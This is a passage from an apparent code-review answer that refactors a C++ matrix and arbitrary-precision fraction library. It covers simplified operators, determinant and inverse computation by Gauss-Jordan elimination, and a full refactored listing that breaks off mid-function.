<code>const</code>).</p>\n\n<p>The comparison operator is over-complicated. We can simply compare the members, since <code>std::vector</code> provides a memberwise equality operator:</p>\n\n<pre><code>bool Matrix::operator==(const Matrix& mx) const\n{\n return height == mx.height\n && width == mx.width\n && data == mx.data;\n}\n</code></pre>\n\n<p>Or even, with a rasterised <code>data</code> (since vector compare tests the lengths):</p>\n\n<pre><code>bool Matrix::operator==(const Matrix& mx) const\n{\n return width == mx.width\n && data == mx.data;\n}\n</code></pre>\n\n<p>Element access using <code>operator()</code> needs to have <code>const</code> and non-<code>const</code> overloads. I find it helps the implementation to have a private <code>at(x,y)</code> method (it's easier to type when applied to <code>this</code>).</p>\n\n<p>Here's what I'd expect from the interface:</p>\n\n<pre><code>#ifndef MATRIX_H_INCLUDED\n#define MATRIX_H_INCLUDED\n\n#include \"Fraction.h\"\n\n#include <vector>\n#include <iosfwd>\n#include <assert.h>\n\nclass Matrix\n{\n std::size_t height = 0;\n std::size_t width = 0;\n\n std::vector<Fraction> data = {};\n\n Fraction& at(std::size_t r, std::size_t c)\n { return data[r * width + c]; }\n\n const Fraction& at(std::size_t r, std::size_t c) const\n { return data[r * width + c]; }\n\n\npublic:\n Matrix()\n : Matrix{0, 0}\n {}\n\n Matrix(std::size_t height, std::size_t width, Fraction n = 0)\n : height{height},\n width{width},\n data(width * height, n)\n {}\n\n friend std::ostream& operator<<(std::ostream& out, const Matrix& mx);\n\n bool operator==(const Matrix& mx) const;\n bool operator!=(const Matrix& mx) const;\n\n Matrix& operator+=(const Matrix& mx);\n Matrix& operator-=(const Matrix& mx);\n Matrix& operator*=(const Matrix& mx);\n Matrix operator*(const Matrix&) const;\n\n // scalar multiplication\n Matrix& operator*=(const Fraction& n);\n\n Fraction& operator()(std::size_t r, std::size_t c)\n { return at(r, c); }\n\n const Fraction& operator()(std::size_t r, std::size_t c) const\n { return at(r, c); }\n\n std::size_t size() const\n { return height * width; }\n\n std::size_t rows() const\n { return height; }\n\n std::size_t cols() const\n { return width; }\n\n static Matrix identity(std::size_t n);\n\n bool is_square() const\n { return height == width; }\n\n bool is_identity() const;\n bool is_symmetric() const;\n bool is_skewSymmetric() const;\n bool is_diagonal() const;\n bool is_null() const;\n bool is_constant() const;\n bool is_orthogonal() const;\n bool is_invertible() const;\n bool is_upperTriangular() const;\n bool is_lowerTriangular() const;\n\n Matrix transpose() const;\n Fraction determinant() const;\n Matrix inverse() const;\n Matrix gaussJordanElimination() const;\n\nprivate:\n void swapRows(std::size_t row1, std::size_t row2);\n bool pivotEqualTo_one_Found(std::size_t pivot_row, std::size_t pivot_col, std::size_t& alternative_pivot_row) const;\n bool pivotNot_zero_Found(std::size_t pivot_row, std::size_t pivot_col, std::size_t& col_dif_zero) const;\n bool firstNumberNot_zero(std::size_t row_num, std::size_t& num_coluna_num_dif_zero) const;\n void changePivotTo_one(std::size_t row_num, Fraction constant);\n void zeroOutTheColumn(std::size_t row_num, std::size_t num_pivot_row, Fraction constant);\n};\n\n\nMatrix operator+(Matrix a, const Matrix& b)\n{ return a += b; }\n\nMatrix operator-(Matrix a, const Matrix& b)\n{ return a -= b; }\n\nMatrix operator*(Matrix mx, const Fraction& n)\n{ return mx *= n; }\n\nMatrix operator*(const Fraction& n, Matrix mx)\n{ return mx *= n; }\n\n#endif // MATRIX_H_INCLUDED\n</code></pre>\n\n<p>Moving on to the implementation of <code>Matrix</code>, I'll start with <code><<</code>. I think it's easier to use <code>std::setw</code> rather than composing a <code>boost::format</code> string. It's also inefficient to create a vector of widths to find the maximum - in this case, I'd leave the standard algorithm and just update as we go (this may change when C++20 Ranges are more widely available). Don't use <code>std::endl</code> unless you really need to flush - <code>\\n</code> is much more lightweight.</p>\n\n<p>Those changes give me this:</p>\n\n<pre><code>std::ostream& operator<<(std::ostream& os, const Matrix& mx)\n{\n // find maximum element width\n std::size_t max_width = 1;\n for (auto const& element: mx.data) {\n auto w = element.to_string().size();\n if (w > max_width) {\n max_width = w;\n }\n }\n\n // use the max width to format elements\n max_width += 4; // padding between elements\n\n for (std::size_t i = 0; i < mx.height; i++) {\n for (std::size_t j = 0; j < mx.width; j++) {\n os << std::setw(max_width) << mx.at(i, j);\n }\n os << std::endl;\n }\n\n return os;\n}\n</code></pre>\n\n<p>That required a simple <code>to_string()</code> member in <code>Fraction</code>:</p>\n\n<pre><code>std::string Fraction::to_string() const\n{\n std::ostringstream os;\n os << *this;\n return os.str();\n}\n</code></pre>\n\n<p>We don't need to hand-code loops in the addition and subtraction operators - <code>std::transform()</code> does that for us (and simplifies the path to parallelising):</p>\n\n<pre><code>Matrix& Matrix::operator-=(const Matrix& mx)\n{\n assert(height == mx.height);\n assert(width == mx.width);\n std::transform(data.begin(), data.end(),\n mx.data.begin(), data.begin(),\n std::minus{});\n return *this;\n}\n\nMatrix& Matrix::operator+=(const Matrix& mx)\n{\n assert(height == mx.height);\n assert(width == mx.width);\n std::transform(data.begin(), data.end(),\n mx.data.begin(), data.begin(),\n std::plus{});\n return *this;\n}\n</code></pre>\n\n<p>We can simplify <code>is_identity()</code> to use the code we already wrote:</p>\n\n<pre><code>bool Matrix::is_identity() const\n{\n if (! is_square())\n return false;\n\n return *this == identity(width);\n}\n</code></pre>\n\n<p>And, similarly, <code>is_symmetric()</code>:</p>\n\n<pre><code>bool Matrix::is_symmetric() const\n{\n return *this == transposed();\n}\n</code></pre>\n\n<p>Admittedly, these two now do more work when returning false, so you might not want to use these implementations.</p>\n\n<p>We can reduce the work done in <code>is_skewSymmetric()</code> by about half, by starting <code>j</code> beyond the diagonal:</p>\n\n<pre><code>bool Matrix::is_skewSymmetric() const\n{\n if (!is_square()) {\n return false;\n }\n\n for (std::size_t i = 0; i < height; ++i) {\n for (std::size_t j = i+1; j < width; ++j) {\n if (at(i, j) != -at(j, i)) {\n return false;\n }\n }\n }\n\n return true;\n}\n</code></pre>\n\n<p>I don't like the name of <code>is_null()</code> - to me that implies an uninitalised (zero-size) <code>Matrix</code>. I'd call it <code>is_zero()</code> and use <code><algorithm></code> to simplify; similarly for <code>is_constant()</code>:</p>\n\n<pre><code>bool Matrix::is_zero() const\n{\n return std::all_of(data.begin(), data.end(),\n [](auto const& x){ return x == 0; });\n}\n\nbool Matrix::is_constant() const\n{\n return std::adjacent_find(data.begin(), data.end(), std::not_equal_to{})\n == data.end();\n}\n</code></pre>\n\n<p>The <code>is_*Triangular()</code> predicates can be sped up in a similar manner to <code>is_skewSymmetric()</code>, by avoiding <code>j <= i</code> or <code>j >= i</code> as appropriate:</p>\n\n<pre><code>bool Matrix::is_orthogonal() const\n{\n if (!is_square())\n return false;\n\n return(*this * transposed() == identity(width));\n}\n\nbool Matrix::is_invertible() const\n{\n return determinant() != 0;\n}\n\nbool Matrix::is_lowerTriangular() const\n{\n if (!is_square())\n return false;\n\n for (std::size_t i = 0; i < height; ++i)\n for (std::size_t j = i + 1; j < width; ++j)\n if (at(i, j))\n return false;\n\n return true;\n}\n\nbool Matrix::is_upperTriangular() const\n{\n if (!is_square())\n return false;\n\n for (std::size_t i = 0; i < height; ++i)\n for (std::size_t j = 0; j < i; ++j)\n if (at(i, j) != 0)\n return false;\n\n return true;\n}\n</code></pre>\n\n<p>In <code>determinant()</code>, many of the locals can be moved to smaller scope. We're also calling <code>pivotEqualTo_one_Found()</code> and <code>pivotNot_zero_Found()</code> every time through the loop regardless of whether we use the results. We can short-circuit test to only call those functions when needed, and also combine their results to a single block:</p>\n\n<pre><code> std::size_t other_row;\n if (mx.at(pivot_row, pivot_col) != 1 && mx.pivotEqualTo_one_Found(pivot_row, pivot_col, other_row)\n || mx.at(pivot_row, pivot_col) == 0 && mx.pivotNot_zero_Found(pivot_row, pivot_col, other_row))\n {\n mx.swapRows(pivot_row, other_row);\n sign *= -1;\n }\n</code></pre>\n\n<p>Immediatlely after this, we call <code>firstNumberNot_zero()</code> but ignore the result. This is a serious bug, as <code>col_dif_zero</code> will be <em>uninitialised</em> if it returned false, meaning Undefined Behaviour. I think that if we have a row with all zeros, then the result will be zero, so we can return immediately in that case.</p>\n\n<p>Modified:</p>\n\n<pre><code>Fraction Matrix::determinant() const\n{\n assert(is_square());\n\n if (height == 1) {\n return at(0,0);\n }\n if (is_zero() || is_constant()) {\n return 0;\n }\n if (is_identity()) {\n return 1;\n }\n\n Matrix mx = *this;\n std::vector<Fraction> row_mults;\n int sign = 1;\n\n std::size_t pivot_row = 0;\n std::size_t pivot_col = 0;\n while (pivot_row < (height - 1)) {\n std::size_t other_row;\n if (mx.at(pivot_row, pivot_col) != 1 && mx.pivotEqualTo_one_Found(pivot_row, pivot_col, other_row)\n || mx.at(pivot_row, pivot_col) == 0 && mx.pivotNot_zero_Found(pivot_row, pivot_col, other_row))\n {\n mx.swapRows(pivot_row, other_row);\n sign *= -1;\n }\n\n std::size_t col_dif_zero;\n\n if (!mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n return 0;\n }\n\n if (mx.at(pivot_row, col_dif_zero) != 1) {\n row_mults.push_back(mx.at(pivot_row, col_dif_zero));\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n\n for (std::size_t n = pivot_row + 1; n < height; ++n) {\n auto const constant = mx.at(n, col_dif_zero);\n if (mx.at(n, col_dif_zero)) {\n mx.zeroOutTheColumn(n, pivot_row, constant);\n }\n }\n\n ++pivot_row;\n ++pivot_col;\n }\n\n Fraction det = sign;\n for (std::size_t i = 0; i < height; ++i) {\n det *= mx.at(i, i);\n }\n\n // now multiply by all the row_mults\n return std::accumulate(row_mults.begin(), row_mults.end(),\n det, std::multiplies());\n}\n</code></pre>\n\n<p>Looking next at <code>inverse()</code>, it writes output to <code>std::cout</code>. We should use <code>std::cerr</code> for error messages; in a library, we should strive to avoid writing to standard streams, and instead signal the caller by different means - I'd suggest raising an exception instead.</p>\n\n<p>We can make a similar simplification as we did to <code>determinant()</code> where we swap rows in the Gauss elimination step. Following that, we have:</p>\n\n<pre><code> if (number_not_zero_found) {\n ...\n }\n\n if (number_not_zero_found) {\n ...\n }\n</code></pre>\n\n<p>The value isn't changed in the block of the first <code>if</code>, so just combine these. There's a similar structure in the Jordan elimination step, too. That gives us:</p>\n\n<pre><code>Matrix Matrix::inverse() const\n{\n assert(is_square());\n\n if (!is_invertible()) {\n throw std::range_error(\"Matrix not invertible\");\n }\n\n Matrix mx = *this;\n Matrix inverse = identity(height);\n\n //Gauss Elimination\n std::size_t pivot_row = 0;\n std::size_t pivot_col = 0;\n while (pivot_row < (height - 1)) {\n std::size_t other_row;\n if (mx.at(pivot_row, pivot_col) != 1 && mx.pivotEqualTo_one_Found(pivot_row, pivot_col, other_row)\n || mx.at(pivot_row, pivot_col) == 0 && mx.pivotNot_zero_Found(pivot_row, pivot_col, other_row))\n {\n mx.swapRows(pivot_row, other_row);\n inverse.swapRows(pivot_row, other_row);\n }\n\n std::size_t col_dif_zero;\n if (mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n if (mx.at(pivot_row, col_dif_zero) != 1) {\n inverse.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n for (std::size_t n = pivot_row + 1; n < height; ++n) {\n inverse.zeroOutTheColumn(n, pivot_row, mx.at(n, col_dif_zero));\n mx.zeroOutTheColumn(n, pivot_row, mx.at(n, col_dif_zero));\n }\n }\n\n ++pivot_row;\n ++pivot_col;\n }\n\n //Jordan Elimination\n while (pivot_row > 0) {\n std::size_t col_dif_zero;\n if (mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n if (mx.at(pivot_row, col_dif_zero) != 1) {\n inverse.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n for (size_t n = pivot_row; n > 0; --n) {\n inverse.zeroOutTheColumn(n - 1, pivot_row, mx.at(n - 1, col_dif_zero));\n mx.zeroOutTheColumn(n - 1, pivot_row, mx.at(n - 1, col_dif_zero));\n\n }\n }\n --pivot_row;\n }\n\n return inverse;\n}\n</code></pre>\n\n<p>We can apply the same simplifications to <code>gaussJordanElimination</code>:</p>\n\n<pre><code>Matrix Matrix::gaussJordanElimination() const\n{\n Matrix mx = *this;\n\n std::size_t pivot_row = 0;\n std::size_t pivot_col = 0;\n\n ///Gauss Elimination\n while (pivot_row < (height - 1)) {\n std::size_t other_row;\n if (mx.at(pivot_row, pivot_col) != 1 && mx.pivotEqualTo_one_Found(pivot_row, pivot_col, other_row)\n || mx.at(pivot_row, pivot_col) == 0 && mx.pivotNot_zero_Found(pivot_row, pivot_col, other_row))\n {\n mx.swapRows(pivot_row, other_row);\n }\n\n std::size_t col_dif_zero;\n if (mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n if ((mx.at(pivot_row, col_dif_zero)) != 1) {\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n\n for (std::size_t n = pivot_row + 1; n < height; ++n) {\n mx.zeroOutTheColumn(n, pivot_row, mx.at(n, col_dif_zero));\n }\n }\n\n ++pivot_row;\n ++pivot_col;\n }\n\n //Jordan Elimination\n while (pivot_row > 0) {\n std::size_t col_dif_zero;\n if (mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n if ((mx.at(pivot_row, col_dif_zero)) != 1) {\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n }\n\n for (std::size_t n = pivot_row; n > 0; --n) {\n mx.zeroOutTheColumn(n-1, pivot_row, mx.at(n-1, col_dif_zero));\n }\n --pivot_row;\n }\n\n return mx;\n}\n</code></pre>\n\n<hr>\n\n<h1>Full refactored code</h1>\n\n<h3>Fraction.h</h3>\n\n<pre><code>#ifndef FRACTION_H_INCLUDED\n#define FRACTION_H_INCLUDED\n\n#include <iosfwd>\n#include <string>\n#include <utility>\n\n#include <boost/multiprecision/cpp_int.hpp>\n\nclass Fraction\n{\n using cpp_int = boost::multiprecision::cpp_int;\n\n cpp_int num;\n cpp_int den;\n\npublic:\n Fraction(cpp_int num = 0, cpp_int den = 1)\n : num{std::move(num)},\n den{std::move(den)}\n {}\n\n Fraction(int num, int den = 1)\n : num{num},\n den{den}\n {}\n\n friend std::ostream& operator<<(std::ostream& os, const Fraction& fr);\n\n std::string to_string() const;\n\n bool operator==(const Fraction& fr) const { return num == fr.num && den == fr.den; }\n bool operator!=(const Fraction& fr) const { return !(*this == fr); }\n\n bool operator<(const Fraction& fr) const { return num * fr.den < den * fr.num; }\n bool operator<=(const Fraction& fr) const { return *this == fr || *this < fr; }\n bool operator>(const Fraction& fr) const { return !(*this<=fr); }\n bool operator>=(const Fraction& fr) const { return !(*this<fr); }\n\n explicit operator bool() const { return num != 0; }\n\n Fraction operator+() const;\n Fraction operator-() const;\n\n Fraction& operator++();\n Fraction& operator--();\n\n Fraction operator++(int);\n Fraction operator--(int);\n\n Fraction& operator+=(const Fraction& fr);\n Fraction& operator-=(const Fraction& fr);\n Fraction& operator*=(const Fraction& fr);\n Fraction& operator/=(const Fraction& fr);\n\nprivate:\n static cpp_int gcd(const cpp_int& a, const cpp_int& b);\n void simplify();\n};\n\nFraction operator+(Fraction a, const Fraction& b) { return a += b; }\nFraction operator-(Fraction a, const Fraction& b) { return a -= b; }\nFraction operator*(Fraction a, const Fraction& b) { return a *= b; }\nFraction operator/(Fraction a, const Fraction& b) { return a /= b; }\n\n#endif // FRACTION_H_INCLUDED\n</code></pre>\n\n<h3>Matrix.h</h3>\n\n<pre><code>#ifndef MATRIX_H_INCLUDED\n#define MATRIX_H_INCLUDED\n\n#include \"Fraction.h\"\n\n#include <cassert>\n#include <cstddef>\n#include <iosfwd>\n#include <vector>\n\nclass Matrix\n{\n std::size_t height = 0;\n std::size_t width = 0;\n\n std::vector<Fraction> data = {};\n\n Fraction& at(std::size_t r, std::size_t c)\n { return data[r * width + c]; }\n\n const Fraction& at(std::size_t r, std::size_t c) const\n { return data[r * width + c]; }\n\n\npublic:\n Matrix()\n : Matrix{0, 0}\n {}\n\n Matrix(std::size_t height, std::size_t width, const Fraction& n = 0)\n : height{height},\n width{width},\n data(width * height, n)\n {}\n\n Matrix(std::size_t height, std::size_t width, std::initializer_list<Fraction> values)\n : height{height},\n width{width},\n data(values)\n {\n assert(values.size() == size());\n }\n\n friend std::ostream& operator<<(std::ostream& out, const Matrix& mx);\n\n bool operator==(const Matrix& mx) const;\n bool operator!=(const Matrix& mx) const;\n\n Matrix& operator+=(const Matrix& mx);\n Matrix& operator-=(const Matrix& mx);\n Matrix& operator*=(const Matrix& mx);\n Matrix operator*(const Matrix&) const;\n\n // scalar multiplication\n Matrix& operator*=(const Fraction& n);\n\n Fraction& operator()(std::size_t r, std::size_t c)\n { return at(r, c); }\n\n const Fraction& operator()(std::size_t r, std::size_t c) const\n { return at(r, c); }\n\n std::size_t size() const\n { return height * width; }\n\n std::size_t rows() const\n { return height; }\n\n std::size_t cols() const\n { return width; }\n\n static Matrix identity(std::size_t n);\n\n bool is_square() const\n { return height == width; }\n\n bool is_identity() const;\n bool is_symmetric() const;\n bool is_skewSymmetric() const;\n bool is_diagonal() const;\n bool is_zero() const;\n bool is_constant() const;\n bool is_orthogonal() const;\n bool is_invertible() const;\n bool is_upperTriangular() const;\n bool is_lowerTriangular() const;\n\n Matrix transposed() const;\n Fraction determinant() const;\n Matrix inverse() const;\n Matrix gaussJordanElimination() const;\n\nprivate:\n void swapRows(std::size_t row1, std::size_t row2);\n bool pivotEqualTo_one_Found(std::size_t pivot_row, std::size_t pivot_col, std::size_t& alternative_pivot_row) const;\n bool pivotNot_zero_Found(std::size_t pivot_row, std::size_t pivot_col, std::size_t& col_dif_zero) const;\n bool firstNumberNot_zero(std::size_t row_num, std::size_t& num_coluna_num_dif_zero) const;\n void changePivotTo_one(std::size_t row_num, Fraction constant);\n void zeroOutTheColumn(std::size_t row_num, std::size_t num_pivot_row, Fraction constant);\n};\n\n\nMatrix operator+(Matrix a, const Matrix& b)\n{ return a += b; }\n\nMatrix operator-(Matrix a, const Matrix& b)\n{ return a -= b; }\n\nMatrix operator*(Matrix mx, const Fraction& n)\n{ return mx *= n; }\n\nMatrix operator*(const Fraction& n, Matrix mx)\n{ return mx *= n; }\n\n#endif // MATRIX_H_INCLUDED\n</code></pre>\n\n<h3>Fraction.cpp</h3>\n\n<pre><code>#include \"Fraction.h\"\n\n#include <ostream>\n#include <sstream>\n\nstd::ostream& operator<<(std::ostream& os, const Fraction& fr)\n{\n os << fr.num;\n if (fr.den != 1) {\n os << \"/\" << fr.den;\n }\n return os;\n}\n\nstd::string Fraction::to_string() const\n{\n std::ostringstream os;\n os << *this;\n return os.str();\n}\n\nFraction::cpp_int Fraction::gcd(const Fraction::cpp_int& a, const Fraction::cpp_int& b)\n{\n return b ? gcd(b, a%b) : a;\n}\n\nvoid Fraction::simplify()\n{\n // Denominators are always positive\n if (den < 0) {\n num = -num;\n den = -den;\n }\n\n // Factor out gcd from numerator and denominator.\n auto const n = gcd(abs(num), den);\n num /= n;\n den /= n;\n}\n\n\nFraction Fraction::operator+() const\n{\n return *this;\n}\n\nFraction Fraction::operator-() const\n{\n return { -num, den };\n}\n\nFraction& Fraction::operator++()\n{\n num += den;\n return *this;\n}\n\nFraction& Fraction::operator--()\n{\n num -= den;\n return *this;\n}\n\nFraction Fraction::operator++(int)\n{\n auto old = *this;\n ++*this;\n return old;\n}\n\nFraction Fraction::operator--(int)\n{\n auto old = *this;\n --*this;\n return old;\n}\n\nFraction& Fraction::operator+=(const Fraction& fr)\n{\n num = num * fr.den + fr.num * den;\n den *= fr.den;\n simplify();\n return *this;\n}\n\nFraction& Fraction::operator-=(const Fraction& fr)\n{\n return *this += -fr;\n}\n\nFraction& Fraction::operator*=(const Fraction& fr)\n{\n num *= fr.num;\n den *= fr.den;\n simplify();\n return *this;\n}\n\nFraction& Fraction::operator/=(const Fraction& fr)\n{\n return *this *= { fr.den, fr.num };\n}\n</code></pre>\n\n<h3>Matrix.cpp</h3>\n\n<pre><code>#include \"Matrix.h\"\n\n#include <algorithm>\n#include <cassert>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <numeric>\n\nstd::ostream& operator<<(std::ostream& os, const Matrix& mx)\n{\n // find maximum element width\n std::size_t max_width = 1;\n for (auto const& element: mx.data) {\n auto w = element.to_string().size();\n if (w > max_width) {\n max_width = w;\n }\n }\n\n max_width += 4; // add padding between elements\n\n // use the max width to format elements\n for (std::size_t i = 0; i < mx.height; i++) {\n for (std::size_t j = 0; j < mx.width; j++) {\n os << std::setw(max_width) << mx.at(i, j);\n }\n os << std::endl;\n }\n\n return os;\n}\n\nbool Matrix::operator==(const Matrix& mx) const\n{\n return width == mx.width\n && data == mx.data;\n}\n\nbool Matrix::operator!=(const Matrix& mx) const\n{\n return !(*this == mx);\n}\n\nMatrix Matrix::operator*(const Matrix& mx) const\n{\n assert(width == mx.height);\n\n Matrix mult(height, mx.width);\n\n for (std::size_t i = 0; i < height; ++i)\n for (std::size_t j = 0; j < mx.width; ++j)\n for (std::size_t x = 0; x < width; ++x)\n mult.at(i, j) += at(i, x) * mx.at(x, j);\n\n return mult;\n}\n\nMatrix& Matrix::operator*=(const Matrix& mx)\n{\n return *this = (*this * mx);\n}\n\nMatrix& Matrix::operator+=(const Matrix& mx)\n{\n assert(height == mx.height);\n assert(width == mx.width);\n std::transform(data.begin(), data.end(),\n mx.data.begin(), data.begin(),\n std::plus{});\n return *this;\n}\n\nMatrix& Matrix::operator-=(const Matrix& mx)\n{\n assert(height == mx.height);\n assert(width == mx.width);\n std::transform(data.begin(), data.end(),\n mx.data.begin(), data.begin(),\n std::minus{});\n return *this;\n}\n\nMatrix& Matrix::operator*=(const Fraction& n)\n{\n for (auto& element: data) {\n element *= n;\n }\n return *this;\n}\n\nMatrix Matrix::identity(std::size_t n)\n{\n assert(n > 0);\n\n Matrix mx{n,n};\n for (std::size_t i = 0; i < n; ++i)\n mx.at(i,i) = 1;\n\n return mx;\n}\n\nbool Matrix::is_identity() const\n{\n if (! is_square())\n return false;\n\n return *this == identity(width);\n}\n\nbool Matrix::is_symmetric() const\n{\n return *this == transposed();\n}\n\nbool Matrix::is_skewSymmetric() const\n{\n if (!is_square()) {\n return false;\n }\n\n for (std::size_t i = 0; i < height; ++i) {\n for (std::size_t j = i+1; j < width; ++j) {\n if (at(i, j) != -at(j, i)) {\n return false;\n }\n }\n }\n\n return true;\n}\n\nbool Matrix::is_diagonal() const\n{\n if (!is_square())\n return false;\n\n for (std::size_t i = 0; i < height; ++i)\n for (std::size_t j = 0; j < width; ++j)\n if (i != j && at(i, j) != 0)\n return false;\n\n return true;\n}\n\nbool Matrix::is_zero() const\n{\n return std::all_of(data.begin(), data.end(),\n [](auto const& x){ return x == 0; });\n}\n\nbool Matrix::is_constant() const\n{\n return std::adjacent_find(data.begin(), data.end(), std::not_equal_to{})\n == data.end();\n}\n\nbool Matrix::is_orthogonal() const\n{\n if (!is_square())\n return false;\n\n return(*this * transposed() == identity(width));\n}\n\nbool Matrix::is_invertible() const\n{\n return determinant() != 0;\n}\n\nbool Matrix::is_lowerTriangular() const\n{\n if (!is_square())\n return false;\n\n for (std::size_t i = 0; i < height; ++i)\n for (std::size_t j = i + 1; j < width; ++j)\n if (at(i, j))\n return false;\n\n return true;\n}\n\nbool Matrix::is_upperTriangular() const\n{\n if (!is_square())\n return false;\n\n for (std::size_t i = 0; i < height; ++i)\n for (std::size_t j = 0; j < i; ++j)\n if (at(i, j) != 0)\n return false;\n\n return true;\n}\n\nMatrix Matrix::transposed() const\n{\n Matrix trans(width, height);\n\n for (std::size_t i = 0; i < height; ++i)\n for (std::size_t j = 0; j < width; ++j)\n trans.at(j, i) = at(i, j);\n\n return trans;\n}\n\nFraction Matrix::determinant() const\n{\n assert(is_square());\n\n if (height == 1) {\n return at(0,0);\n }\n if (is_zero() || is_constant()) {\n return 0;\n }\n if (is_identity()) {\n return 1;\n }\n\n Matrix mx = *this;\n std::vector<Fraction> row_mults;\n int sign = 1;\n\n std::size_t pivot_row = 0;\n std::size_t pivot_col = 0;\n while (pivot_row < (height - 1)) {\n std::size_t other_row;\n if (mx.at(pivot_row, pivot_col) != 1 && mx.pivotEqualTo_one_Found(pivot_row, pivot_col, other_row)\n || mx.at(pivot_row, pivot_col) == 0 && mx.pivotNot_zero_Found(pivot_row, pivot_col, other_row))\n {\n mx.swapRows(pivot_row, other_row);\n sign *= -1;\n }\n\n std::size_t col_dif_zero;\n\n if (!mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n return 0;\n }\n\n if (mx.at(pivot_row, col_dif_zero) != 1) {\n row_mults.push_back(mx.at(pivot_row, col_dif_zero));\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n\n for (std::size_t n = pivot_row + 1; n < height; ++n) {\n auto const constant = mx.at(n, col_dif_zero);\n if (mx.at(n, col_dif_zero)) {\n mx.zeroOutTheColumn(n, pivot_row, constant);\n }\n }\n\n ++pivot_row;\n ++pivot_col;\n }\n\n Fraction det = sign;\n for (std::size_t i = 0; i < height; ++i) {\n det *= mx.at(i, i);\n }\n\n // now multiply by all the row_mults\n return std::accumulate(row_mults.begin(), row_mults.end(),\n det, std::multiplies());\n}\n\nMatrix Matrix::inverse() const\n{\n assert(is_square());\n\n if (!is_invertible()) {\n throw std::range_error(\"Matrix not invertible\");\n }\n\n Matrix mx = *this;\n Matrix inverse = identity(height);\n\n std::size_t pivot_row = 0;\n std::size_t pivot_col = 0;\n\n //Gauss Elimination\n while (pivot_row < (height - 1)) {\n std::size_t other_row;\n if (mx.at(pivot_row, pivot_col) != 1 && mx.pivotEqualTo_one_Found(pivot_row, pivot_col, other_row)\n || mx.at(pivot_row, pivot_col) == 0 && mx.pivotNot_zero_Found(pivot_row, pivot_col, other_row))\n {\n mx.swapRows(pivot_row, other_row);\n inverse.swapRows(pivot_row, other_row);\n }\n\n std::size_t col_dif_zero;\n if (mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n if (mx.at(pivot_row, col_dif_zero) != 1) {\n inverse.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n for (std::size_t n = pivot_row + 1; n < height; ++n) {\n inverse.zeroOutTheColumn(n, pivot_row, mx.at(n, col_dif_zero));\n mx.zeroOutTheColumn(n, pivot_row, mx.at(n, col_dif_zero));\n }\n }\n\n ++pivot_row;\n ++pivot_col;\n }\n\n //Jordan Elimination\n while (pivot_row > 0) {\n std::size_t col_dif_zero;\n if (mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n if (mx.at(pivot_row, col_dif_zero) != 1) {\n inverse.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n for (std::size_t n = pivot_row; n > 0; --n) {\n inverse.zeroOutTheColumn(n - 1, pivot_row, mx.at(n - 1, col_dif_zero));\n mx.zeroOutTheColumn(n - 1, pivot_row, mx.at(n - 1, col_dif_zero));\n\n }\n }\n --pivot_row;\n }\n\n return inverse;\n}\n\nMatrix Matrix::gaussJordanElimination() const\n{\n Matrix mx = *this;\n\n std::size_t pivot_row = 0;\n std::size_t pivot_col = 0;\n\n ///Gauss Elimination\n while (pivot_row < (height - 1)) {\n std::size_t other_row;\n if (mx.at(pivot_row, pivot_col) != 1 && mx.pivotEqualTo_one_Found(pivot_row, pivot_col, other_row)\n || mx.at(pivot_row, pivot_col) == 0 && mx.pivotNot_zero_Found(pivot_row, pivot_col, other_row))\n {\n mx.swapRows(pivot_row, other_row);\n }\n\n std::size_t col_dif_zero;\n if (mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n if ((mx.at(pivot_row, col_dif_zero)) != 1) {\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n\n for (std::size_t n = pivot_row + 1; n < height; ++n) {\n mx.zeroOutTheColumn(n, pivot_row, mx.at(n, col_dif_zero));\n }\n }\n\n ++pivot_row;\n ++pivot_col;\n }\n\n //Jordan Elimination\n while (pivot_row > 0) {\n std::size_t col_dif_zero;\n if (mx.firstNumberNot_zero(pivot_row, col_dif_zero)) {\n if ((mx.at(pivot_row, col_dif_zero)) != 1) {\n mx.changePivotTo_one(pivot_row, mx.at(pivot_row, col_dif_zero));\n }\n }\n\n for (std::size_t n = pivot_row; n > 0; --n) {\n mx.zeroOutTheColumn(n-1, pivot_row, mx.at(n-1, col_dif_zero));\n }\n --pivot_row;\n }\n\n return mx;\n}\n\n#include <algorithm>\n\nvoid Matrix::swapRows(std::size_t row1, std::size_t row2)\n{\n auto const a1 = data.begin() + width * row1;\n auto const z1 = a1 + width;\n auto const a2 = data.begin() + width * row2;\n std::swap_ranges(a1, z1, a2);\n}\n\nbool Matrix::pivotEqualTo_one_Found(std::size_t pivot_row, std::size_t pivot_col, std::size_t& alternative_pivot_row) const\n{\n for (std::size_t i = pivot_row + 1; i < height; ++i) {\n if (at(i, pivot_col) == 1) {\n alternative_pivot_row = i;\n return true;\n }\n }\n\n return false;\n}\n\nbool Matrix::pivotNot_zero_Found(std::size_t pivot_row, std::size_t pivot_col, std::size_t& col_dif_zero) const\n{\n for (std::size_t i = pivot_row + 1; i < height; ++i) {\n if (at(i, pivot_col)) {\n col_dif_zero = i;\n return true;\n }\n }\n\n return false;\n}\n\nbool Matrix::firstNumberNot_zero(std::size_t row_num, std::size_t& num_coluna_num_dif_zero) const\n{\n for (std::size_t i = 0; i < width; ++i) {\n if (at(row_num, i) != 0) {\n 